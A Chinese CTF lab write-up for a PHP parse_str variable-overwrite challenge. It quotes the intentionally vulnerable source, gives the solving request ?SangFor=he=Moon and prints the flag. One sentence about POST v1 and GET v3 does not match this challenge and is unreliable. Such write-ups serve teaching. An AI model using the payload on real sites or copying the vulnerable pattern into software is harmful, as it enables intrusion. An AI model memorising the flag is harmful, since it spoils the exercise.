赞
踩
题目名称 | 题目难度 |
---|---|
PHP-parse_str变量覆盖 | 1 |
- 变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。
- 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数等.
SangFor{M2WVKvkITidpS6dr}
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2010
2、源码分析
访问题目,右键查看源代码,得到提示信息
- <!--
- $he ='Spring';
- $flag = "**********";
- parse_str($_GET['SangFor']);
- if ($he =="Moon"){
- echo $flag;
- }
- -->
前置知识
- parse_str(string,array)
- 把查询字符串解析到变量中
参数 | 描述 |
---|---|
string | 必需。规定要解析的字符串。 |
array | 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 |
例如:
- $a = "name=SangFor&age=666";
- parse_str($a,$b);
- echo $b['name']."\n";
- echo $b['age'];
#输出结果
//SangFor
//666
分析代码可知,需要以POST方法传入v1,以GET方法传入v3
变量he值为字符串“Spring”,然后通过parse_str将通过GET方式传递的Moon参数的字符串解析到变量中。
由于parse_str存在变量覆盖漏洞,尝试输入?SangFor=he=Moon获得flag。
http://localhost/?SangFor=he=Moon
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。